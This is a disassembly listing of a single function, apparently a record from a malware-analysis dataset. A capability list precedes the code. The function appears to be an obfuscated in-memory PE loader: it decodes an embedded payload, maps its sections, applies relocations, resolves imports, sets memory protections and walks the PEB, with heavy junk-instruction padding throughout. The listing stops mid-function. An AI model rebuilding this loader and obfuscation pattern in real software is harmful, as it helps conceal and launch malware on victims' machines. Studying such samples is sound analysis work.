Function at 0x410000
Capabilities:
Access peb ldr_data
Create thread
Encode data using base64
Enumerate pe sections
Get ntdll base address
Get number of processors
Hash data using murmur3
Inspect section memory permissions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x4e7d4
call fcn.00402c40
mov eax, dword [ebp + 8]
mov eax, esp
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x10], 0xffffffff
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], 0x4018f0
mov ecx, dword fs:[0]
mov dword [ebp - 0x18], ecx
mov dword fs:[0], eax
lea ecx, [ebp - 0x4e620]
lea eax, [0x413180]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x4e600
call fcn.00403940
add edx, 0xc5
mov edi, 0xb1
sub eax, 0xc5
or esi, 6
not esi
neg esi
neg esi
neg esi
ror edx, 0xed
not edx
mov ebx, 0x23
bswap ebx
or edx, 0xbb
and esi, 0xc2
sbb edi, 0x8a
rol ebx, 4
dec eax
neg edi
bswap edx
rol eax, 0xfb
or edx, 0xb
dec edi
and edx, 0xdc
rcl edi, 0x8a
neg esi
imul ebx
ror esi, 0x61
add ebx, 0x53
rcl esi, 0x48
inc edi
inc edi
rcl esi, 0xf1
neg edi
imul edi
ror ebx, 0xb3
sub ebx, 0x98
sub eax, 0xac
sbb ebx, 0x8a
imul edi
sbb eax, 0xd4
sbb edx, 0x67
rcr esi, 0xc6
rcl edx, 0x70
dec edx
rol edi, 0x57
bswap edx
ror ebx, 1
dec ebx
neg edi
mov edx, 0xe1
inc ebx
neg edx
dec ebx
rcr esi, 0xc6
rol edi, 1
not edx
bswap edx
neg eax
imul edx
ror edx, 0xf8
bswap edx
add esi, 0x97
not eax
dec esi
sbb eax, 0x5f
and eax, 0x73
dec eax
sbb edx, 0xb3
add edi, 2
mov eax, 0xd0
mov ebx, 0x1e
inc edi
imul ebx
not edi
imul ebx
not esi
dec ebx
rcr eax, 0xd4
sbb edx, 0x4c
and ebx, 0x18
dec edx
add eax, 0x4c
rcr eax, 0x55
sub edi, 0xb7
sub edx, 0x3c
neg edi
or ebx, 0xf9
or esi, 0x45
not edx
imul esi
rcr esi, 0x56
imul esi
or edx, 0x42
bswap eax
ror edx, 0xc7
inc eax
rcl edi, 0x6e
and esi, 0xf7
dec edx
or eax, 0x3d
dec eax
neg ebx
mov esi, 0x2c
or ebx, 0x76
add edx, 0xd6
mov edi, 0xa
rcl ebx, 0x64
rcl edx, 0x5d
neg edx
mov ebx, 0x17
inc edx
inc ebx
or esi, 0x18
not edi
and edi, 0x91
dec eax
bswap ebx
sbb esi, 0x5b
bswap ebx
sbb eax, 0x67
bswap edx
add edx, 0xee
or esi, 0x3a
imul eax
sbb ebx, 0x2d
rol eax, 0x5a
bswap edi
and eax, 0xa8
neg eax
not eax
imul esi
inc esi
imul edx
neg edi
rcl edi, 0x46
sub edx, 0x14
neg ebx
imul esi
not ebx
sbb eax, 0xef
mov ebx, 0xa7
rcr eax, 0xfe
sbb edx, 0xb6
dec edi
imul ebx
ror eax, 0xf9
or ebx, 0xb4
sbb edx, 0xa0
or edx, 0xb7
rol ebx, 0xa1
not esi
add ebx, 0x27
dec eax
rcl esi, 0x4c
ror esi, 0xb0
not edi
inc esi
inc esi
or eax, 0x6c
inc esi
and edx, 0x8f
rcr eax, 0x40
not esi
not ebx
dec eax
dec eax
bswap edi
mov ebx, 0xe5
inc eax
bswap esi
rcr ebx, 0xd6
bswap ebx
rol esi, 0xf8
sbb edi, 0x9e
sub eax, 0xb2
sub ebx, 9
and eax, 0x99
rcr ebx, 0x15
inc esi
neg edi
bswap edx
rcl eax, 0xda
imul edi
mov edi, 9
not esi
dec edi
ror esi, 0xd
not esi
dec edx
imul ebx
inc edi
ror edx, 0x59
rol esi, 0x8e
and edx, 0xd6
add ebx, 0x8b
rcl edi, 0x94
ror esi, 0xd1
not edx
sbb eax, 0xf1
inc edi
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x4e620]
mov dword [esp], eax
mov dword [esp + 4], 0x4e600
call fcn.00401680
lea eax, [ebp - 0x4e620]
mov dword [ebp + 8], eax
add esi, 0x43
rcr eax, 0x58
and edi, 0xa2
rcr ebx, 0x26
or ebx, 0x3b
dec ebx
add esi, 0xf5
inc ebx
inc edi
sbb edx, 0xfb
ror ebx, 0x20
imul ebx
sub edi, 6
add edi, 0x46
dec edi
bswap ebx
rol edx, 0x97
or edx, 0xae
dec eax
not eax
ror esi, 0xca
and esi, 0xc3
not ebx
inc edi
mov edi, 0x40
ror edi, 0x8b
ror edi, 0x1c
ror edx, 0x51
imul eax
dec edx
neg edx
mov ebx, 0xb8
inc edi
not ebx
not edx
ror esi, 0x56
and edi, 0x9a
add edx, 0x4f
neg eax
imul esi
neg edi
inc esi
rol esi, 0x83
rcl esi, 0x47
bswap edx
neg edi
bswap edi
rcl esi, 0x63
dec ebx
not edx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x4e624], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x4e624]
add eax, dword [ecx + 0x3c]
mov dword [ebp - 0x4e628], eax
mov eax, dword [ebp - 0x4e628]
cmp dword [eax], 0x4550
je 0x410381
mov dword [ebp - 0x20], 1
jmp 0x4119be
mov eax, esp
lea ecx, [ebp - 0x4e644]
mov dword [ebp - 0x4e7b8], ecx
mov dword [eax], ecx
lea ecx, [ebp - 0x4e645]
call fcn.00411a18
sub esp, 4
mov ecx, dword [ebp - 0x4e7b8]
call fcn.00401910
mov dword [ebp - 0x4e7b4], eax
mov dword [ebp - 0x10], 0
mov eax, esp
lea ecx, [ebp - 0x4e660]
mov dword [eax], ecx
lea ecx, [ebp - 0x4e661]
call fcn.00411a44
sub esp, 4
jmp 0x4103d4
lea ecx, [ebp - 0x4e660]
call fcn.00401910
mov ecx, eax
mov dword [ebp - 0x10], 1
mov eax, esp
mov dword [eax], ecx
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x4e7bc], eax
jmp 0x410401
mov ecx, dword [ebp - 0x4e7bc]
mov edx, dword [ebp - 0x4e7b4]
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x4e7c0], eax
jmp 0x410429
lea ecx, [ebp - 0x4e660]
call fcn.00401930
lea ecx, [ebp - 0x4e644]
call fcn.00401930
mov eax, dword [ebp - 0x4e7c0]
mov dword [ebp - 0x4e62c], eax
cmp dword [ebp - 0x4e62c], 0
jne 0x410464
mov dword [ebp - 0x20], 0
jmp 0x4119be
mov eax, dword [ebp - 0x4e62c]
mov dword [0x468a28], eax
lea eax, [ebp - 0x4e674]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.00403ec0
lea eax, [ebp - 0x4e6b8]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.00403ec0
mov dword [ebp - 0x4e6b8], 0x44
mov eax, dword [ebp - 0x4e628]
mov ecx, dword [eax + 0xa0]
mov dword [ebp - 0x4e6c0], ecx
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x4e6bc], eax
mov eax, dword [ebp - 0x4e628]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x4e7c4], eax
cmp dword [ebp - 0x4e6bc], 0
je 0x410500
xor eax, eax
mov dword [ebp - 0x4e7c8], eax
jmp 0x41050f
mov eax, dword [ebp - 0x4e628]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x4e7c8], eax
mov eax, dword [ebp - 0x4e7c4]
mov ecx, dword [ebp - 0x4e7c8]
mov dword [ebp - 0x10], 0xffffffff
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov dword [ebp - 0x4e6c4], eax
cmp dword [ebp - 0x4e6bc], 0
jne 0x410576
mov eax, dword [ebp - 0x4e6c4]
mov ecx, dword [ebp - 0x4e628]
cmp eax, dword [ecx + 0x34]
je 0x410576
mov dword [ebp - 0x20], 2
jmp 0x4119be
mov eax, dword [0x468a28]
mov ecx, dword [ebp - 0x4e6c4]
mov edx, dword [ebp - 0x4e674]
mov dword [esp], edx
mov dword [esp + 4], ecx
call eax
sub esp, 8
inc esi
imul ebx
not edi
inc ebx
sbb edi, 0xc4
imul edi
bswap eax
inc eax
inc edi
inc edx
inc eax
add eax, 0x7d
rcr esi, 0x59
add edx, 0xb6
inc edi
neg eax
rcr edx, 0xb4
bswap eax
not ebx
mov esi, 0x6e
mov ebx, 0xd3
sub eax, 0x6e
not ebx
neg esi
sub edi, 0x93
imul edx
ror esi, 0xbe
add eax, 0x94
bswap esi
rcr ebx, 0x55
sbb edx, 0x42
ror eax, 0x21
rcl edi, 0x7b
rcl eax, 0xbc
rcr ebx, 0xb5
inc eax
and edi, 0x7b
sbb edi, 0x87
mov edx, 0x14
bswap esi
rcl edx, 0x5e
not ebx
rcl eax, 0x46
and edi, 0xb2
neg eax
inc ebx
mov eax, 5
imul eax
inc edx
add esi, 0xe3
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x4e6c4]
mov eax, dword [ebp + 8]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x400
call fcn.00403940
neg ebx
inc eax
rcr edi, 0x52
neg edi
sbb edx, 0x1c
and eax, 0x3a
rcl esi, 0xa0
not eax
not edi
bswap eax
sbb eax, 0xe5
inc ebx
dec eax
bswap edx
bswap esi
imul edi
bswap ebx
rcl edi, 0x86
dec eax
mov edx, 0x27
rcl eax, 0x44
rcr edi, 0xb0
and edi, 0x99
dec esi
sbb esi, 0x1e
sub edx, 0xd3
inc ebx
neg ebx
not edx
inc ebx
rcr esi, 0xaf
ror eax, 0x93
mov edx, 0xb7
sbb edx, 0x6a
and esi, 0x78
and ebx, 0x24
bswap edi
dec edi
bswap edi
imul esi
not edx
sub edi, 0xf7
dec eax
not esi
inc edi
not esi
sbb edi, 0x37
not esi
rol esi, 0xa9
ror edi, 0xde
inc eax
or esi, 0x4d
imul eax
mov eax, 0xab
rol edi, 0x57
inc ebx
dec edx
rcr edi, 0xba
and edi, 0x42
sbb edx, 0x3a
and esi, 3
rcr edx, 0x5b
and esi, 0x4e
neg ebx
sbb ebx, 0xdc
ror esi, 0x75
mov esi, 0x1a
imul edi
inc ebx
mov esi, 0x9f
bswap edx
not edx
dec esi
rol edi, 0x79
neg esi
sbb eax, 0x36
add esi, 0xcb
not ebx
ror edx, 0xc5
inc ebx
inc edx
neg eax
not edx
add edx, 0xa1
inc esi
bswap edx
rcl edx, 0x66
not esi
dec edx
or edx, 0xf2
neg edi
ror edx, 0x8a
mov ebx, 4
rcl edx, 0x89
neg esi
dec ebx
rcr esi, 0x29
rol edi, 0xdd
inc edi
or edx, 0xcc
sub edx, 0x5d
neg edi
ror ebx, 0x6b
rcl edx, 0x37
not edx
bswap edx
neg ebx
rcr ebx, 0x9b
dec edx
imul edx
sbb ebx, 0x1e
ror edi, 0x6c
inc esi
neg ebx
add edi, 0xce
dec ebx
inc ebx
rcl ebx, 0x53
and esi, 0x72
inc edx
dec eax
inc ebx
ror ebx, 0xaf
inc ebx
neg esi
and ebx, 0x3a
not edx
imul eax
sub edx, 0x39
not edi
inc ebx
not eax
mov edx, 0xd0
mov eax, 0xf3
bswap esi
sub edx, 0xe8
or ebx, 0xe1
or esi, 0x2f
dec eax
add ebx, 0xe7
rol eax, 0x8a
neg edi
sub edx, 0xc8
or esi, 0xeb
neg esi
rcr edi, 0x36
or ebx, 0x51
rcr edx, 0x4b
dec esi
bswap eax
neg eax
not esi
neg edi
rol esi, 0xd0
imul edi
bswap esi
not esi
inc eax
sbb eax, 0xb5
and ebx, 0x43
rcr edx, 0x42
neg eax
add edx, 0x35
inc eax
not ebx
rol ebx, 0xca
rcr edi, 0x35
bswap edx
dec esi
bswap ebx
inc eax
rcr ebx, 0x70
add eax, 0x80
neg edi
mov edi, 0x6c
sbb eax, 2
sbb esi, 0xf6
neg esi
not ebx
dec edi
ror edx, 0xba
add eax, 0x69
not eax
sub edx, 0x82
dec ebx
sbb esi, 0x85
mov ebx, 0x90
bswap edx
add edx, 0xf2
not edi
dec eax
rcr eax, 0xce
sbb ebx, 0xd2
imul ebx
imul edi
sub esi, 0x38
inc esi
mov ebx, 0xaa
not eax
bswap ebx
add edi, 0x4d
mov ebx, 0x2d
add eax, 0xd2
bswap edi
bswap esi
dec ebx
and eax, 0x18
ror edx, 0xd6
rcl edx, 0xe3
imul ebx
dec edi
sub edi, 0x8c
neg ebx
dec eax
bswap eax
or ebx, 0x91
not ebx
not edi
neg edi
and eax, 0xa5
rol eax, 0xdb
not esi
neg esi
inc edi
rcr edx, 0xa6
not esi
and ebx, 0x79
rcr ebx, 0x1d
imul eax
dec ebx
and edx, 0xfa
inc edi
rol eax, 0xbb
rol edx, 0x27
inc esi
dec eax
rcr esi, 0xd4
add edi, 0x39
imul esi
rol edx, 0x75
rol edx, 0xc0
sub ebx, 0x4b
dec eax
rcr eax, 0x3f
and esi, 0x50
neg eax
rcr eax, 0x4a
rcr edi, 0x60
dec ebx
and edx, 0xb5
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x4e628]
add eax, 0x18
mov ecx, dword [ebp - 0x4e628]
movzx ecx, word [ecx + 0x14]
add eax, ecx
mov dword [ebp - 0x4e6c8], eax
mov dword [ebp - 0x4e6cc], 0
mov eax, dword [ebp - 0x4e6cc]
mov ecx, dword [ebp - 0x4e628]
movzx ecx, word [ecx + 6]
cmp eax, ecx
jge 0x410986
mov edx, dword [ebp - 0x4e6c4]
mov eax, dword [ebp - 0x4e6c8]
imul ecx, dword [ebp - 0x4e6cc], 0x28
add eax, ecx
add edx, dword [eax + 0xc]
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x4e6c8]
imul esi, dword [ebp - 0x4e6cc], 0x28
add eax, esi
add ecx, dword [eax + 0x14]
mov eax, dword [ebp - 0x4e6c8]
imul esi, dword [ebp - 0x4e6cc], 0x28
add eax, esi
mov eax, dword [eax + 0x10]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00403940
mov eax, dword [ebp - 0x4e6cc]
add eax, 1
mov dword [ebp - 0x4e6cc], eax
jmp 0x41090b
sbb ebx, 8
inc edx
neg edx
or edi, 0xa6
not edx
bswap esi
inc ebx
or eax, 0xc0
ror esi, 0x7e
sub edx, 0xb7
or eax, 0x7f
rol eax, 0x66
dec ebx
mov edx, 8
add esi, 0x79
imul edi
bswap edx
bswap ebx
inc ebx
dec edi
neg ebx
sbb eax, 0x34
bswap ebx
inc ebx
sbb edi, 0x76
rcl esi, 0x53
sbb esi, 0xb8
imul ebx
sub esi, 0x1d
mov ebx, 0x2f
sub ebx, 0x59
imul ebx
rcr edx, 0x96
ror edx, 0xf4
sub esi, 0xd6
mov esi, 0x75
rol edi, 0xe7
inc edi
imul ebx
imul esi
not eax
inc edx
sub edx, 0x3e
rcl edx, 0x50
sbb edx, 0x8e
mov edi, 0xdc
ror edi, 0xc3
neg ebx
not esi
or edi, 0x94
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x4e6c4]
mov ecx, dword [ebp - 0x4e628]
cmp eax, dword [ecx + 0x34]
je 0x410b4e
mov eax, dword [ebp - 0x4e6c4]
mov ecx, dword [ebp - 0x4e628]
sub eax, dword [ecx + 0x34]
mov dword [ebp - 0x4e6d0], eax
mov eax, dword [ebp - 0x4e6c4]
add eax, dword [ebp - 0x4e6c0]
mov dword [ebp - 0x4e6d4], eax
mov dword [ebp - 0x4e6d8], 0
mov eax, dword [ebp - 0x4e6d8]
cmp eax, dword [ebp - 0x4e6bc]
jae 0x410b49
mov eax, dword [ebp - 0x4e6c4]
mov ecx, dword [ebp - 0x4e6d4]
add eax, dword [ecx]
mov dword [ebp - 0x4e6dc], eax
mov eax, dword [ebp - 0x4e6d4]
mov eax, dword [eax + 4]
sub eax, 8
shr eax, 1
mov dword [ebp - 0x4e6e0], eax
mov eax, dword [ebp - 0x4e6d4]
add eax, 8
mov dword [ebp - 0x4e6e4], eax
mov dword [ebp - 0x4e6e8], 0
mov eax, dword [ebp - 0x4e6e8]
cmp eax, dword [ebp - 0x4e6e0]
jge 0x410b23
mov eax, dword [ebp - 0x4e6e4]
movzx eax, word [eax]
sar eax, 0xc
and eax, 3
cmp eax, 0
je 0x410b00
mov ecx, dword [ebp - 0x4e6d0]
mov eax, dword [ebp - 0x4e6dc]
mov edx, dword [ebp - 0x4e6e4]
movzx edx, word [edx]
and edx, 0xfff
add eax, edx
add ecx, dword [eax]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4e6e4]
add eax, 2
mov dword [ebp - 0x4e6e4], eax
mov eax, dword [ebp - 0x4e6e8]
add eax, 1
mov dword [ebp - 0x4e6e8], eax
jmp 0x410ab5
mov eax, dword [ebp - 0x4e6d4]
mov eax, dword [eax + 4]
add eax, dword [ebp - 0x4e6d8]
mov dword [ebp - 0x4e6d8], eax
mov eax, dword [ebp - 0x4e6e4]
mov dword [ebp - 0x4e6d4], eax
jmp 0x410a62
jmp 0x410b4e
neg edi
bswap ebx
not edi
dec edx
imul esi
rcr edi, 0x50
imul edi
add edi, 0x20
and eax, 0x26
dec edi
add eax, 0x68
mov eax, 0x9e
ror eax, 0xc3
dec eax
neg eax
rol eax, 0xfd
mov esi, 0xde
and eax, 0x28
rcl edi, 0xb9
inc edx
add edx, 0xf6
neg ebx
neg eax
imul edx
rcl eax, 0x69
ror edi, 0x7a
inc esi
bswap eax
neg edx
imul edx
and ebx, 0x47
rol ebx, 0x29
bswap eax
bswap edx
bswap edi
rcr edi, 0x5f
dec edi
mov esi, 0x2d
rcl ebx, 0xe6
bswap esi
rcr edi, 0xcc
add edi, 0x93
rcl eax, 0x55
or eax, 0xc4
or eax, 0xba
sbb esi, 0x37
sbb esi, 0x8d
sub eax, 0xd8
add esi, 0x7d
inc edi
imul esi
imul edi
imul esi
imul edi
imul eax
and ebx, 0xd2
mov edx, 0x53
add eax, 0xa5
bswap ebx
sub eax, 0x29
mov edi, 0x17
inc ebx
inc edx
not esi
and edx, 0x41
not edx
rol edx, 0xb5
or ebx, 0xb5
sbb ebx, 0x9a
bswap edi
imul edx
rcl esi, 0x4c
mov ebx, 0x51
or eax, 0x53
bswap esi
ror eax, 0x4f
mov ebx, 0x87
sub eax, 0xd0
imul edi
inc eax
dec esi
not ebx
bswap ebx
neg edi
imul ebx
rcl edx, 0x24
sub eax, 0xb
sbb esi, 0x2f
imul edx
sbb esi, 0x8b
dec esi
or edx, 0x74
neg ebx
bswap ebx
rcl ebx, 0xe1
rcr eax, 0x43
dec edi
dec ebx
inc esi
ror edi, 0x7b
and edx, 0xa9
rcl edx, 0xeb
dec eax
dec ebx
imul ebx
neg eax
or eax, 8
imul eax
not esi
and eax, 0xc9
mov eax, 0x9c
mov esi, 0xc0
dec eax
not eax
inc eax
sub eax, 0x60
rol edx, 0x4d
mov esi, 0x58
sbb esi, 0x38
bswap esi
bswap edx
sbb edi, 0x3d
neg edi
imul eax
and eax, 0x8d
neg esi
dec esi
or edx, 2
and eax, 0x91
imul edi
ror eax, 0x7e
rcr ebx, 0x2e
dec esi
dec eax
rcr eax, 0x54
not eax
imul edi
not esi
inc edx
dec ebx
inc edx
not eax
sub edx, 0xdb
rol edx, 0
sub esi, 0xd0
ror esi, 0xf
not edx
neg eax
add edx, 0x30
rcr edi, 0x20
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x4e6c4]
mov ecx, dword [ebp - 0x4e628]
add eax, dword [ecx + 0x80]
mov dword [ebp - 0x4e6ec], eax
mov dword [ebp - 0x4e6f0], 0
mov eax, dword [ebp - 0x4e6ec]
imul ecx, dword [ebp - 0x4e6f0], 0x14
add eax, ecx
cmp dword [eax + 0x10], 0
je 0x410e8a
mov eax, dword [ebp - 0x4e6c4]
mov ecx, dword [ebp - 0x4e6ec]
imul edx, dword [ebp - 0x4e6f0], 0x14
add ecx, edx
add eax, dword [ecx + 0xc]
mov dword [ebp - 0x4e6f4], eax
mov eax, dword [ebp - 0x4e6f4]
mov dword [ebp - 0x10], 0xffffffff
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
sub esp, 4
mov dword [ebp - 0x4e6f8], eax
cmp dword [ebp - 0x4e6f8], 0
jne 0x410d79
jmp 0x410e76
mov eax, dword [ebp - 0x4e6c4]
mov ecx, dword [ebp - 0x4e6ec]
imul edx, dword [ebp - 0x4e6f0], 0x14
add ecx, edx
add eax, dword [ecx + 0x10]
mov dword [ebp - 0x4e6fc], eax
mov dword [ebp - 0x4e700], 0
mov eax, dword [ebp - 0x4e6fc]
mov ecx, dword [ebp - 0x4e700]
cmp dword [eax + ecx*4], 0
je 0x410e71
mov eax, dword [ebp - 0x4e6c4]
mov ecx, dword [ebp - 0x4e6fc]
mov edx, dword [ebp - 0x4e700]
add eax, dword [ecx + edx*4]
mov dword [ebp - 0x4e704], eax
mov eax, dword [ebp - 0x4e6fc]
mov ecx, dword [ebp - 0x4e700]
mov eax, dword [eax + ecx*4]
movzx eax, ax
mov ecx, dword [ebp - 0x4e6f8]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x4e708], eax
cmp dword [ebp - 0x4e708], 0
jne 0x410e32
mov eax, dword [ebp - 0x4e704]
add eax, 2
mov ecx, dword [ebp - 0x4e6f8]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x4e708], eax
mov ecx, dword [ebp - 0x4e708]
mov eax, dword [ebp - 0x4e6c4]
mov edx, dword [ebp - 0x4e6ec]
imul esi, dword [ebp - 0x4e6f0], 0x14
add edx, esi
add eax, dword [edx + 0x10]
mov edx, dword [ebp - 0x4e700]
shl edx, 2
add eax, edx
mov dword [eax], ecx
mov eax, dword [ebp - 0x4e700]
add eax, 1
mov dword [ebp - 0x4e700], eax
jmp 0x410da1
jmp 0x410e76
mov eax, dword [ebp - 0x4e6f0]
add eax, 1
mov dword [ebp - 0x4e6f0], eax
jmp 0x410d11
mov dword [ebp - 0x4e710], 0
mov eax, dword [ebp - 0x4e710]
mov ecx, dword [ebp - 0x4e628]
movzx ecx, word [ecx + 6]
cmp eax, ecx
jge 0x41101b
mov dword [ebp - 0x4e714], 0x40
mov eax, dword [ebp - 0x4e6c8]
imul ecx, dword [ebp - 0x4e710], 0x28
add eax, ecx
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x4e718], eax
mov eax, dword [ebp - 0x4e718]
and eax, 0x40000000
cmp eax, 0
je 0x410f20
mov eax, dword [ebp - 0x4e718]
and eax, 0x80000000
cmp eax, 0
je 0x410f20
mov eax, dword [ebp - 0x4e718]
and eax, 0x20000000
cmp eax, 0
je 0x410f20
mov dword [ebp - 0x4e714], 0x40
mov dword [ebp - 0x10], 0xffffffff
jmp 0x410fbd
mov eax, dword [ebp - 0x4e718]
and eax, 0x40000000
cmp eax, 0
je 0x410f57
mov eax, dword [ebp - 0x4e718]
and eax, 0x80000000
cmp eax, 0
je 0x410f57
mov dword [ebp - 0x4e714], 4
jmp 0x410fb6
mov eax, dword [ebp - 0x4e718]
and eax, 0x40000000
cmp eax, 0
je 0x410f8e
mov eax, dword [ebp - 0x4e718]
and eax, 0x20000000
cmp eax, 0
je 0x410f8e
mov dword [ebp - 0x4e714], 0x20
jmp 0x410fb1
mov eax, dword [ebp - 0x4e718]
and eax, 0x40000000
cmp eax, 0
je 0x410fac
mov dword [ebp - 0x4e714], 2
jmp 0x410fb1
jmp 0x410fb6
mov dword [ebp - 0x10], 0xffffffff
mov ecx, dword [ebp - 0x4e714]
mov eax, dword [ebp - 0x4e6c8]
imul edx, dword [ebp - 0x4e710], 0x28
add eax, edx
mov edx, dword [eax + 8]
mov esi, dword [ebp - 0x4e6c4]
mov eax, dword [ebp - 0x4e6c8]
imul edi, dword [ebp - 0x4e710], 0x28
add eax, edi
add esi, dword [eax + 0xc]
lea eax, [ebp - 0x4e70c]
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.004018b0
mov eax, dword [ebp - 0x4e710]
add eax, 1
mov dword [ebp - 0x4e710], eax
jmp 0x410e94
imul eax
not edi
ror eax, 0xd4
inc edx
not edx
rcr edx, 0xce
mov ebx, 0xac
rol edx, 0x3b
inc edi
imul edi
rol ebx, 0xca
or eax, 0xc4
neg ebx
not edi
sbb ebx, 0xdf
not eax
dec edx
not esi
neg ebx
not edx
sub edi, 0xc
not edi
inc eax
imul edi
rcr esi, 0xdd
dec edx
not ebx
dec edx
add esi, 0xf
bswap edx
bswap esi
bswap edx
inc eax
bswap esi
sub eax, 0xf5
ror eax, 2
neg edx
add esi, 0x7d
not edx
and esi, 0x27
sub edi, 0xa5
bswap edx
imul edx
ror edx, 0x49
imul edi
bswap edx
imul esi
imul edx
or edi, 0x4b
sbb edi, 0x48
dec esi
rol edi, 0x30
sbb esi, 0x6b
imul esi
inc ebx
and edi, 0x59
bswap eax
dec edi
or eax, 0x2b
or ebx, 0x57
rcr edx, 0xda
bswap edx
imul edx
imul ebx
and eax, 0x9f
neg edi
rcr edi, 0xfc
and ebx, 0xf9
dec ebx
neg edi
neg edi
neg edx
sbb ebx, 0x41
mov edx, 0x4f
mov eax, 0x4c
not edx
mov edi, 0xd0
sbb eax, 0xfe
dec edi
rcr eax, 0xd0
bswap ebx
neg edi
neg esi
mov edi, 0xc5
neg edi
rcr eax, 0x46
add edx, 0xc
imul eax
not ebx
not edi
neg edi
not edi
rcl esi, 9
not edi
rcr edi, 0xd0
sbb eax, 0x64
rcl esi, 0xd6
sub edx, 0xe0
sub esi, 0x5e
dec eax
rol edi, 0xf3
bswap edx
and edx, 0xb
inc ebx
ror eax, 0xc4
or esi, 0xde
not esi
and edx, 0xaa
bswap ebx
neg edi
and ebx, 0xaf
sub esi, 0xb7
and eax, 0x30
add ebx, 0x12
mov edx, 0xee
imul edi
imul eax
neg edi
neg ebx
inc eax
bswap ebx
mov edi, 0x52
neg eax
bswap ebx
or esi, 0x2a
inc edx
and esi, 0xf4
dec edi
not ebx
rcl ebx, 0x8e
dec edx
neg esi
not eax
imul edi
sub esi, 0x5d
dec eax
mov edi, 0x95
neg edi
not edx
neg eax
not edi
rol edi, 0xcc
inc esi
inc eax
dec edx
or edi, 0x97
rol edx, 0x46
imul ebx
not eax
inc eax
mov dword [ebp - 0x20], eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x4e71c], eax
mov eax, dword [ebp - 0x4e71c]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x4e720], eax
mov eax, dword [ebp - 0x4e720]
mov eax, dword [eax + 0x14]
sub eax, 8
mov dword [ebp - 0x4e724], eax
dec eax
mov eax, 0xf
and edx, 0xc2
add ebx, 0x17
imul edx
ror edx, 0xbf
neg eax
ror edx, 7
neg ebx
bswap ebx
inc edx
imul ebx
sub edi, 0x7d
inc edx
not esi
not edi
rol esi, 0x3a
ror esi, 0x4f
rol ebx, 0x15
dec eax
sbb esi, 0x2d
add esi, 0x83
sub ebx, 0xf7
rcl edx, 0x36
add esi, 0xa6
sbb esi, 0x57
imul ebx
imul edi
rol eax, 0x9c
imul edi
add esi, 0xe5
rcl eax, 0x38
sub esi, 0x34
bswap edi
not edi
imul ebx
rol eax, 0xf
add edi, 0x2d
imul edx
rcr ebx, 0xd9
imul eax
sbb eax, 0x3c
bswap esi
rol ebx, 0xd2
and edi, 7
neg esi
sub esi, 0xe7
inc edi
bswap esi
neg eax
imul ebx
sbb eax, 0xe1
neg eax
mov edi, 0xc4
add esi, 0xa5
not esi
inc edi
ror edx, 0x9c
bswap edi
inc ebx
rol edi, 0xa2
dec edx
inc edx
inc ebx
ror eax, 0xa5
inc edi
neg esi
rol edx, 0x29
mov edi, 0x19
dec ebx
ror edx, 0x87
dec ebx
not esi
neg eax
sub esi, 0xb5
imul esi
add edi, 0xe2
ror eax, 0xd3
imul ebx
not eax
mov esi, 0xdf
or esi, 0x74
inc edx
and ebx, 0x4c
rol ebx, 0x7b
inc eax
ror eax, 0x4b
bswap edx
and esi, 0xbb
neg esi
neg esi
imul esi
bswap eax
rcl edi, 0x22
bswap edi
imul edx
or edi, 0xc4
imul eax
not esi
mov ebx, 0x89
mov esi, 0xf6
inc ebx
rcl edi, 0x89
rcr esi, 0xff
mov esi, 0xe
imul edi
imul edx
ror ebx, 0x2f
sub eax, 0xc5
neg edx
sub ebx, 0xb
or edi, 0xdc
rol edx, 0xa8
imul edi
not edi
imul edx
sbb edi, 0x12
imul eax
or edx, 0xd7
add edx, 0x7b
neg esi
dec ebx
rol esi, 0xbb
mov ebx, 0xb6
sub edi, 0xa7
neg esi
sbb ebx, 0xe7
add edx, 0xcf
dec edi
add ebx, 0x90
rcr eax, 0xd4
bswap eax
not edi
rcr ebx, 0x4e
mov esi, 0x6a
sbb eax, 7
bswap ebx
or edx, 0xa0
dec ebx
not esi
or ebx, 0x90
bswap esi
add ebx, 0x89
and edi, 0x99
neg ebx
or ebx, 0x20
ror edi, 0xc9
bswap ebx
mov edi, 0x37
inc edx
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x4e6c4]
